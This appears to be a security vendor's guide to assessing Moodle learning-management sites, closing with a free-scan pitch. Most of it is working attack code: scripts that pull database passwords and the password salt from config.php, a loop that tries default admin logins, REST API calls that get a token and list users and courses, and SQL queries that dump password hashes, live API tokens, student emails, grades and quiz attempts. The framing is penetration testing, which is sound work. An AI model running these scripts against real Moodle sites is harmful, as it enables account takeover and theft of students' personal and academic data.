Moodle is the world's most popular LMS (Learning Management System) — used by universities, schools, and corporate training platforms worldwide. Key assessment areas: config.php exposes MySQL database credentials and passwordsaltmain; admin credentials are frequently weak at /login/index.php; the REST API uses web service tokens for programmatic access; and Moodle manages sensitive student PII, academic grades, and exam content. This guide covers systematic Moodle security assessment.
# Moodle — config.php MySQL credential and passwordsaltmain extraction
MOODLE_URL="https://moodle.example.com"
# config.php — Moodle database configuration (CRITICAL)
cat /var/www/moodle/config.php 2>/dev/null
# $CFG->dbtype = 'mysqli';
# $CFG->dbhost = 'localhost';
# $CFG->dbuser = 'moodle';
# $CFG->dbpass = '...'; <-- MySQL database password
# $CFG->dbname = 'moodle';
# $CFG->dataroot = '/var/moodledata'; <-- moodledata location
python3 -c "
import re
content = open('/var/www/moodle/config.php').read()
patterns = {
'dbpass': r\"\\\\\$CFG->dbpass\s*=\s*'([^']+)'\",
'dbuser': r\"\\\\\$CFG->dbuser\s*=\s*'([^']+)'\",
'dbname': r\"\\\\\$CFG->dbname\s*=\s*'([^']+)'\",
'dataroot': r\"\\\\\$CFG->dataroot\s*=\s*'([^']+)'\",
'secret': r\"\\\\\$CFG->passwordsaltmain\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:80]}')
" 2>/dev/null
# passwordsaltmain is stored in database mdl_config table (not in config.php for all versions)
# MySQL: SELECT value FROM mdl_config WHERE name = 'passwordsaltmain';
# Test admin credentials at /login/index.php
for CRED in "admin:admin" "admin:moodle" "admin:Admin1234"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
# Get login token
TOKEN=$(curl -s "${MOODLE_URL}/login/index.php" | \
grep -oP 'logintoken" value="\K[^"]+' | head -1 2>/dev/null)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${MOODLE_URL}/login/index.php" \
-d "username=${USER}&password=${PASS}&logintoken=${TOKEN}&anchor=" \
-c /tmp/moodle_c -b /tmp/moodle_c 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Moodle REST API — web service token and credential assessment
MOODLE_URL="https://moodle.example.com"
# Moodle REST API — token-based authentication
# Step 1: Get a web service token
TOKEN=$(curl -s "${MOODLE_URL}/login/token.php" \
-d "username=admin&password=admin&service=moodle_mobile_app" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('token',''))" 2>/dev/null)
echo "Token: ${TOKEN:0:20}..."
# Step 2: Use token to enumerate users (admin only)
curl -s "${MOODLE_URL}/webservice/rest/server.php" \
-d "wstoken=${TOKEN}&wsfunction=core_user_get_users&moodlewsrestformat=json&criteria[0][key]=deleted&criteria[0][value]=0" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total users: {len(d.get(\"users\",[]))}')
for u in d.get('users',[])[:5]:
print(f' {u.get(\"username\")} | {u.get(\"email\")} | role={u.get(\"roles\")}')
" 2>/dev/null
# List all available web service functions (shows API surface)
curl -s "${MOODLE_URL}/webservice/rest/server.php" \
-d "wstoken=${TOKEN}&wsfunction=core_webservice_get_site_info&moodlewsrestformat=json" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Site: {d.get(\"sitename\")}')
print(f'Moodle version: {d.get(\"release\")}')
print(f'Functions available: {len(d.get(\"functions\",[]))}')
" 2>/dev/null
# Course data enumeration
curl -s "${MOODLE_URL}/webservice/rest/server.php" \
-d "wstoken=${TOKEN}&wsfunction=core_course_get_courses&moodlewsrestformat=json" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in (d if isinstance(d,list) else [])[:5]:
print(f' id={c.get(\"id\")} shortname={c.get(\"shortname\")} fullname={c.get(\"fullname\")}')
" 2>/dev/null
# Moodle MySQL database — student PII, grade data, and token extraction
DB_PASS="extracted-db-password"
mysql -u moodle -p"${DB_PASS}" moodle 2>/dev/null << 'EOF'
-- Moodle users (students, teachers, admins) with password hashes
SELECT u.id, u.username, u.email, u.firstname, u.lastname,
u.password, u.auth, u.lastlogin, u.city, u.country
FROM mdl_user u
WHERE u.deleted = 0
ORDER BY u.id
LIMIT 20;
-- password: SHA-512 with passwordsaltmain prefix (Moodle 2.x default)
-- auth: ldap, email, shibboleth, saml2, etc.
-- Web service tokens (persistent API tokens)
SELECT t.token, t.userid, t.service, t.timecreated, t.lastaccess,
u.username, u.email
FROM mdl_external_tokens t
JOIN mdl_user u ON t.userid = u.id
WHERE t.validuntil = 0 OR t.validuntil > UNIX_TIMESTAMP()
ORDER BY t.lastaccess DESC
LIMIT 20;
-- Tokens may have long or no expiry
-- Grade data (student performance)
SELECT g.id, u.username, u.email,
gi.itemname, gi.itemtype, gi.courseid,
g.finalgrade, g.feedback, g.timecreated
FROM mdl_grade_grades g
JOIN mdl_user u ON g.userid = u.id
JOIN mdl_grade_items gi ON g.itemid = gi.id
WHERE g.finalgrade IS NOT NULL
ORDER BY g.timecreated DESC
LIMIT 20;
-- passwordsaltmain from config table
SELECT c.name, c.value
FROM mdl_config c
WHERE c.name IN ('passwordsaltmain', 'secret', 'noreplyaddress')
LIMIT 10;
-- Quiz submission data (exam answers)
SELECT qa.id, u.username, q.name as quiz_name,
qa.timestart, qa.timefinish, qa.sumgrades
FROM mdl_quiz_attempts qa
JOIN mdl_user u ON qa.userid = u.id
JOIN mdl_quiz q ON qa.quiz = q.id
WHERE qa.state = 'finished'
ORDER BY qa.timefinish DESC
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| config.php MySQL dbpass and moodledata path extraction | Read /var/www/moodle/config.php — database credentials; moodledata path for session file access and uploaded file enumeration | Critical |
| Web service token extraction from mdl_external_tokens | MySQL SELECT token FROM mdl_external_tokens WHERE validuntil=0 — persistent API tokens; full API access at the token user's permission level including student PII and grade data | High |
| Admin credential brute-force (admin/admin, admin/moodle) | POST /login/index.php — administrator session; full Moodle administration including user management, course management, plugin installation | High |
| mdl_user SHA-512 password hash extraction | MySQL SELECT password FROM mdl_user — all user password hashes including admin; SHA-512 with passwordsaltmain prefix crackable offline | High |
| Student PII and grade data extraction via REST API | GET /webservice/rest/server.php?wsfunction=core_user_get_users — all user names, emails; core_grade_get_grades — academic performance data; quiz attempts and submission content | High |
Ironimo tests Moodle deployments for config.php MySQL dbpass and moodledata path web exposure, admin/admin credential brute-force at /login/index.php with logintoken extraction, REST API web service token generation via /login/token.php (moodle_mobile_app service), mdl_external_tokens persistent API token extraction, mdl_user SHA-512 password hash enumeration, passwordsaltmain extraction from mdl_config, student PII enumeration via core_user_get_users, grade data extraction via mdl_grade_grades, quiz attempt and submission data access, and file upload PHP execution assessment in moodledata directory.
Start free scan